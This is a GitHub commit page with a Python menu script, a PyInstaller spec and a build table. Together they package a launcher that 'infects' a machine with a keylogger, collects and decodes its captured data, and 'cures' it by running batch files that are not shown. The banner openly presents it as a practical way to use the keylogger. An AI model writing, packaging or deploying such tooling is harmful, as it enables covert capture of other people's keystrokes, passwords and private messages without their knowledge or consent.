This repository has been archived by the owner on Sep 4, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
eba91c8
commit 00a1b66
Showing
23 changed files
with
8,076 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,76 @@ | ||
import os | ||
import ctypes | ||
import time | ||
|
||
def display_error_message(title, message): | ||
MB_ICONERROR = 0x00000010 | ||
MB_OK = 0x00000000 | ||
ctypes.windll.user32.MessageBoxW(0, message, title, MB_ICONERROR | MB_OK) | ||
|
||
def b_file(chosen): | ||
if chosen == 1: | ||
file = "Infect.bat" | ||
elif chosen == 2: | ||
file = "CollectData.bat" | ||
elif chosen == 3: | ||
file = "Cure.bat" | ||
elif chosen == 808: | ||
file = "RecordDecoder.exe" | ||
elif chosen == 404: | ||
file = "Data.txt" | ||
else: | ||
file = None | ||
return file | ||
|
||
def open_text_file(filename): | ||
try: | ||
os.startfile(filename) | ||
except Exception as e: | ||
# Handle exceptions if the file cannot be opened | ||
print(f"Failed to open {filename}: {e}") | ||
|
||
def main(): | ||
while True: | ||
try: | ||
print("\n1) Infects KeyLogger") | ||
print("2) Collect Data from KeyLogger") | ||
print("3) Cures KeyLogger") | ||
print("99) Exit") | ||
choice = int(input("Enter a digit: ")) | ||
if choice == 808 or choice == 404: | ||
display_error_message("Reserved Process Numbers", "Numbers 404 and 808 are reserved process numbers and are not in the menu.") | ||
elif choice != 99: | ||
file = b_file(choice) | ||
if file: | ||
if os.path.exists(file): | ||
if choice == 2: | ||
b_file(808) | ||
os.system("RecordDecoder.exe") | ||
time.sleep(2) | ||
open_text_file("Data.log") | ||
|
||
else: | ||
os.system(file) | ||
print("\nExecution Successful") | ||
else: | ||
display_error_message("Keylogger Error", "The Keylogger is corrupted.") | ||
elif choice == 99: | ||
break | ||
except ValueError: | ||
print("\nPlease enter a valid number.") | ||
|
||
if __name__ == "__main__": | ||
print(r''' | ||
_________ __ .__ .___.____ __________ | ||
/ _____// |_ __ ________ |__| __| _/| | ____ ____ ____ ___________ \____ /___________ ____ | ||
\_____ \\ __\ | \____ \| |/ __ | | | / _ \ / ___\ / ___\_/ __ \_ __ \ / // __ \_ __ \/ _ \ | ||
/ \| | | | / |_> > / /_/ | | |__( <_> ) /_/ > /_/ > ___/| | \/ / /\ ___/| | \( <_> ) | ||
/_______ /|__| |____/| __/|__\____ | |_______ \____/\___ /\___ / \___ >__| /_______ \___ >__| \____/ | ||
\/ |__| \/ \/ /_____//_____/ \/ \/ \/ | ||
''') | ||
print("All credit to Minhas Kamal (Github User) who provided the actual keylogger bat files") | ||
print("DefinetlyNotAI has remixed the project to provide a menu system as well as a practical way to use the keylogger") | ||
print("Go to https://github.com/DefinetlyNotAI/SimpleLogger") | ||
time.sleep(2) | ||
main() | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
# -*- mode: python ; coding: utf-8 -*- | ||
|
||
|
||
a = Analysis( | ||
['KeyLogger.py'], | ||
pathex=[], | ||
binaries=[], | ||
datas=[], | ||
hiddenimports=[], | ||
hookspath=[], | ||
hooksconfig={}, | ||
runtime_hooks=[], | ||
excludes=[], | ||
noarchive=False, | ||
) | ||
pyz = PYZ(a.pure) | ||
|
||
exe = EXE( | ||
pyz, | ||
a.scripts, | ||
a.binaries, | ||
a.datas, | ||
[], | ||
name='KeyLogger', | ||
debug=False, | ||
bootloader_ignore_signals=False, | ||
strip=False, | ||
upx=True, | ||
upx_exclude=[], | ||
runtime_tmpdir=None, | ||
console=True, | ||
disable_windowed_traceback=False, | ||
argv_emulation=False, | ||
target_arch=None, | ||
codesign_identity=None, | ||
entitlements_file=None, | ||
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,284 @@ | ||
(['C:\\Users\\Hp\\Desktop\\x\\KeyLogger.py'], | ||
['C:\\Users\\Hp\\Desktop\\x'], | ||
[], | ||
['C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\numpy\\_pyinstaller', | ||
'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\pygame\\__pyinstaller', | ||
'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\_pyinstaller_hooks_contrib\\hooks\\stdhooks', | ||
'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\_pyinstaller_hooks_contrib\\hooks'], | ||
{}, | ||
[], | ||
[], | ||
False, | ||
{}, | ||
[], | ||
[], | ||
'3.12.2 (tags/v3.12.2:6abddd9, Feb 6 2024, 21:26:36) [MSC v.1937 64 bit ' | ||
'(AMD64)]', | ||
[('pyi_rth_inspect', | ||
'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\PyInstaller\\hooks\\rthooks\\pyi_rth_inspect.py', | ||
'PYSOURCE'), | ||
('KeyLogger', 'C:\\Users\\Hp\\Desktop\\x\\KeyLogger.py', 'PYSOURCE')], | ||
[('inspect', 'C:\\Program Files\\Python312\\Lib\\inspect.py', 'PYMODULE'), | ||
('importlib', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\__init__.py', | ||
'PYMODULE'), | ||
('importlib._bootstrap_external', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\_bootstrap_external.py', | ||
'PYMODULE'), | ||
('importlib.metadata', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\__init__.py', | ||
'PYMODULE'), | ||
('typing', 'C:\\Program Files\\Python312\\Lib\\typing.py', 'PYMODULE'), | ||
('importlib.abc', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\abc.py', | ||
'PYMODULE'), | ||
('importlib.resources.abc', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\abc.py', | ||
'PYMODULE'), | ||
('importlib.resources', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\__init__.py', | ||
'PYMODULE'), | ||
('importlib.resources._legacy', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_legacy.py', | ||
'PYMODULE'), | ||
('importlib.resources._common', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_common.py', | ||
'PYMODULE'), | ||
('importlib.resources._adapters', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_adapters.py', | ||
'PYMODULE'), | ||
('tempfile', 'C:\\Program Files\\Python312\\Lib\\tempfile.py', 'PYMODULE'), | ||
('random', 'C:\\Program Files\\Python312\\Lib\\random.py', 'PYMODULE'), | ||
('statistics', | ||
'C:\\Program Files\\Python312\\Lib\\statistics.py', | ||
'PYMODULE'), | ||
('decimal', 'C:\\Program Files\\Python312\\Lib\\decimal.py', 'PYMODULE'), | ||
('_pydecimal', | ||
'C:\\Program Files\\Python312\\Lib\\_pydecimal.py', | ||
'PYMODULE'), | ||
('contextvars', | ||
'C:\\Program Files\\Python312\\Lib\\contextvars.py', | ||
'PYMODULE'), | ||
('fractions', 'C:\\Program Files\\Python312\\Lib\\fractions.py', 'PYMODULE'), | ||
('numbers', 'C:\\Program Files\\Python312\\Lib\\numbers.py', 'PYMODULE'), | ||
('hashlib', 'C:\\Program Files\\Python312\\Lib\\hashlib.py', 'PYMODULE'), | ||
('logging', | ||
'C:\\Program Files\\Python312\\Lib\\logging\\__init__.py', | ||
'PYMODULE'), | ||
('pickle', 'C:\\Program Files\\Python312\\Lib\\pickle.py', 'PYMODULE'), | ||
('pprint', 'C:\\Program Files\\Python312\\Lib\\pprint.py', 'PYMODULE'), | ||
('dataclasses', | ||
'C:\\Program Files\\Python312\\Lib\\dataclasses.py', | ||
'PYMODULE'), | ||
('copy', 'C:\\Program Files\\Python312\\Lib\\copy.py', 'PYMODULE'), | ||
('_compat_pickle', | ||
'C:\\Program Files\\Python312\\Lib\\_compat_pickle.py', | ||
'PYMODULE'), | ||
('struct', 'C:\\Program Files\\Python312\\Lib\\struct.py', 'PYMODULE'), | ||
('threading', 'C:\\Program Files\\Python312\\Lib\\threading.py', 'PYMODULE'), | ||
('_threading_local', | ||
'C:\\Program Files\\Python312\\Lib\\_threading_local.py', | ||
'PYMODULE'), | ||
('string', 'C:\\Program Files\\Python312\\Lib\\string.py', 'PYMODULE'), | ||
('bisect', 'C:\\Program Files\\Python312\\Lib\\bisect.py', 'PYMODULE'), | ||
('shutil', 'C:\\Program Files\\Python312\\Lib\\shutil.py', 'PYMODULE'), | ||
('tarfile', 'C:\\Program Files\\Python312\\Lib\\tarfile.py', 'PYMODULE'), | ||
('gzip', 'C:\\Program Files\\Python312\\Lib\\gzip.py', 'PYMODULE'), | ||
('_compression', | ||
'C:\\Program Files\\Python312\\Lib\\_compression.py', | ||
'PYMODULE'), | ||
('lzma', 'C:\\Program Files\\Python312\\Lib\\lzma.py', 'PYMODULE'), | ||
('bz2', 'C:\\Program Files\\Python312\\Lib\\bz2.py', 'PYMODULE'), | ||
('fnmatch', 'C:\\Program Files\\Python312\\Lib\\fnmatch.py', 'PYMODULE'), | ||
('importlib._abc', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\_abc.py', | ||
'PYMODULE'), | ||
('importlib.metadata._itertools', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_itertools.py', | ||
'PYMODULE'), | ||
('importlib.metadata._functools', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_functools.py', | ||
'PYMODULE'), | ||
('importlib.metadata._collections', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_collections.py', | ||
'PYMODULE'), | ||
('importlib.metadata._meta', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_meta.py', | ||
'PYMODULE'), | ||
('importlib.metadata._adapters', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_adapters.py', | ||
'PYMODULE'), | ||
('importlib.metadata._text', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_text.py', | ||
'PYMODULE'), | ||
('email.message', | ||
'C:\\Program Files\\Python312\\Lib\\email\\message.py', | ||
'PYMODULE'), | ||
('email.policy', | ||
'C:\\Program Files\\Python312\\Lib\\email\\policy.py', | ||
'PYMODULE'), | ||
('email.contentmanager', | ||
'C:\\Program Files\\Python312\\Lib\\email\\contentmanager.py', | ||
'PYMODULE'), | ||
('email.quoprimime', | ||
'C:\\Program Files\\Python312\\Lib\\email\\quoprimime.py', | ||
'PYMODULE'), | ||
('email.headerregistry', | ||
'C:\\Program Files\\Python312\\Lib\\email\\headerregistry.py', | ||
'PYMODULE'), | ||
('email._header_value_parser', | ||
'C:\\Program Files\\Python312\\Lib\\email\\_header_value_parser.py', | ||
'PYMODULE'), | ||
('urllib', | ||
'C:\\Program Files\\Python312\\Lib\\urllib\\__init__.py', | ||
'PYMODULE'), | ||
('email.iterators', | ||
'C:\\Program Files\\Python312\\Lib\\email\\iterators.py', | ||
'PYMODULE'), | ||
('email.generator', | ||
'C:\\Program Files\\Python312\\Lib\\email\\generator.py', | ||
'PYMODULE'), | ||
('email._encoded_words', | ||
'C:\\Program Files\\Python312\\Lib\\email\\_encoded_words.py', | ||
'PYMODULE'), | ||
('base64', 'C:\\Program Files\\Python312\\Lib\\base64.py', 'PYMODULE'), | ||
('getopt', 'C:\\Program Files\\Python312\\Lib\\getopt.py', 'PYMODULE'), | ||
('gettext', 'C:\\Program Files\\Python312\\Lib\\gettext.py', 'PYMODULE'), | ||
('email.charset', | ||
'C:\\Program Files\\Python312\\Lib\\email\\charset.py', | ||
'PYMODULE'), | ||
('email.encoders', | ||
'C:\\Program Files\\Python312\\Lib\\email\\encoders.py', | ||
'PYMODULE'), | ||
('email.base64mime', | ||
'C:\\Program Files\\Python312\\Lib\\email\\base64mime.py', | ||
'PYMODULE'), | ||
('email._policybase', | ||
'C:\\Program Files\\Python312\\Lib\\email\\_policybase.py', | ||
'PYMODULE'), | ||
('email.header', | ||
'C:\\Program Files\\Python312\\Lib\\email\\header.py', | ||
'PYMODULE'), | ||
('email.errors', | ||
'C:\\Program Files\\Python312\\Lib\\email\\errors.py', | ||
'PYMODULE'), | ||
('email.utils', | ||
'C:\\Program Files\\Python312\\Lib\\email\\utils.py', | ||
'PYMODULE'), | ||
('email._parseaddr', | ||
'C:\\Program Files\\Python312\\Lib\\email\\_parseaddr.py', | ||
'PYMODULE'), | ||
('calendar', 'C:\\Program Files\\Python312\\Lib\\calendar.py', 'PYMODULE'), | ||
('urllib.parse', | ||
'C:\\Program Files\\Python312\\Lib\\urllib\\parse.py', | ||
'PYMODULE'), | ||
('ipaddress', 'C:\\Program Files\\Python312\\Lib\\ipaddress.py', 'PYMODULE'), | ||
('datetime', 'C:\\Program Files\\Python312\\Lib\\datetime.py', 'PYMODULE'), | ||
('_pydatetime', | ||
'C:\\Program Files\\Python312\\Lib\\_pydatetime.py', | ||
'PYMODULE'), | ||
('_strptime', 'C:\\Program Files\\Python312\\Lib\\_strptime.py', 'PYMODULE'), | ||
('socket', 'C:\\Program Files\\Python312\\Lib\\socket.py', 'PYMODULE'), | ||
('selectors', 'C:\\Program Files\\Python312\\Lib\\selectors.py', 'PYMODULE'), | ||
('quopri', 'C:\\Program Files\\Python312\\Lib\\quopri.py', 'PYMODULE'), | ||
('contextlib', | ||
'C:\\Program Files\\Python312\\Lib\\contextlib.py', | ||
'PYMODULE'), | ||
('textwrap', 'C:\\Program Files\\Python312\\Lib\\textwrap.py', 'PYMODULE'), | ||
('zipfile', | ||
'C:\\Program Files\\Python312\\Lib\\zipfile\\__init__.py', | ||
'PYMODULE'), | ||
('zipfile._path', | ||
'C:\\Program Files\\Python312\\Lib\\zipfile\\_path\\__init__.py', | ||
'PYMODULE'), | ||
('zipfile._path.glob', | ||
'C:\\Program Files\\Python312\\Lib\\zipfile\\_path\\glob.py', | ||
'PYMODULE'), | ||
('py_compile', | ||
'C:\\Program Files\\Python312\\Lib\\py_compile.py', | ||
'PYMODULE'), | ||
('importlib.util', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\util.py', | ||
'PYMODULE'), | ||
('pathlib', 'C:\\Program Files\\Python312\\Lib\\pathlib.py', 'PYMODULE'), | ||
('email', | ||
'C:\\Program Files\\Python312\\Lib\\email\\__init__.py', | ||
'PYMODULE'), | ||
('email.parser', | ||
'C:\\Program Files\\Python312\\Lib\\email\\parser.py', | ||
'PYMODULE'), | ||
('email.feedparser', | ||
'C:\\Program Files\\Python312\\Lib\\email\\feedparser.py', | ||
'PYMODULE'), | ||
('csv', 'C:\\Program Files\\Python312\\Lib\\csv.py', 'PYMODULE'), | ||
('importlib.readers', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\readers.py', | ||
'PYMODULE'), | ||
('importlib.resources.readers', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\readers.py', | ||
'PYMODULE'), | ||
('importlib.resources._itertools', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_itertools.py', | ||
'PYMODULE'), | ||
('importlib._bootstrap', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\_bootstrap.py', | ||
'PYMODULE'), | ||
('argparse', 'C:\\Program Files\\Python312\\Lib\\argparse.py', 'PYMODULE'), | ||
('token', 'C:\\Program Files\\Python312\\Lib\\token.py', 'PYMODULE'), | ||
('tokenize', 'C:\\Program Files\\Python312\\Lib\\tokenize.py', 'PYMODULE'), | ||
('importlib.machinery', | ||
'C:\\Program Files\\Python312\\Lib\\importlib\\machinery.py', | ||
'PYMODULE'), | ||
('dis', 'C:\\Program Files\\Python312\\Lib\\dis.py', 'PYMODULE'), | ||
('opcode', 'C:\\Program Files\\Python312\\Lib\\opcode.py', 'PYMODULE'), | ||
('ast', 'C:\\Program Files\\Python312\\Lib\\ast.py', 'PYMODULE'), | ||
('stringprep', | ||
'C:\\Program Files\\Python312\\Lib\\stringprep.py', | ||
'PYMODULE'), | ||
('tracemalloc', | ||
'C:\\Program Files\\Python312\\Lib\\tracemalloc.py', | ||
'PYMODULE'), | ||
('_py_abc', 'C:\\Program Files\\Python312\\Lib\\_py_abc.py', 'PYMODULE'), | ||
('ctypes', | ||
'C:\\Program Files\\Python312\\Lib\\ctypes\\__init__.py', | ||
'PYMODULE'), | ||
('ctypes._endian', | ||
'C:\\Program Files\\Python312\\Lib\\ctypes\\_endian.py', | ||
'PYMODULE'), | ||
('subprocess', | ||
'C:\\Program Files\\Python312\\Lib\\subprocess.py', | ||
'PYMODULE'), | ||
('signal', 'C:\\Program Files\\Python312\\Lib\\signal.py', 'PYMODULE')], | ||
[('python312.dll', 'C:\\Program Files\\Python312\\python312.dll', 'BINARY'), | ||
('_decimal.pyd', | ||
'C:\\Program Files\\Python312\\DLLs\\_decimal.pyd', | ||
'EXTENSION'), | ||
('_hashlib.pyd', | ||
'C:\\Program Files\\Python312\\DLLs\\_hashlib.pyd', | ||
'EXTENSION'), | ||
('_lzma.pyd', 'C:\\Program Files\\Python312\\DLLs\\_lzma.pyd', 'EXTENSION'), | ||
('_bz2.pyd', 'C:\\Program Files\\Python312\\DLLs\\_bz2.pyd', 'EXTENSION'), | ||
('unicodedata.pyd', | ||
'C:\\Program Files\\Python312\\DLLs\\unicodedata.pyd', | ||
'EXTENSION'), | ||
('select.pyd', 'C:\\Program Files\\Python312\\DLLs\\select.pyd', 'EXTENSION'), | ||
('_socket.pyd', | ||
'C:\\Program Files\\Python312\\DLLs\\_socket.pyd', | ||
'EXTENSION'), | ||
('_ctypes.pyd', | ||
'C:\\Program Files\\Python312\\DLLs\\_ctypes.pyd', | ||
'EXTENSION'), | ||
('VCRUNTIME140.dll', | ||
'C:\\Program Files\\Python312\\VCRUNTIME140.dll', | ||
'BINARY'), | ||
('libcrypto-3.dll', | ||
'C:\\Program Files\\Python312\\DLLs\\libcrypto-3.dll', | ||
'BINARY'), | ||
('libffi-8.dll', | ||
'C:\\Program Files\\Python312\\DLLs\\libffi-8.dll', | ||
'BINARY')], | ||
[], | ||
[], | ||
[('base_library.zip', | ||
'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\base_library.zip', | ||
'DATA')]) |
Oops, something went wrong.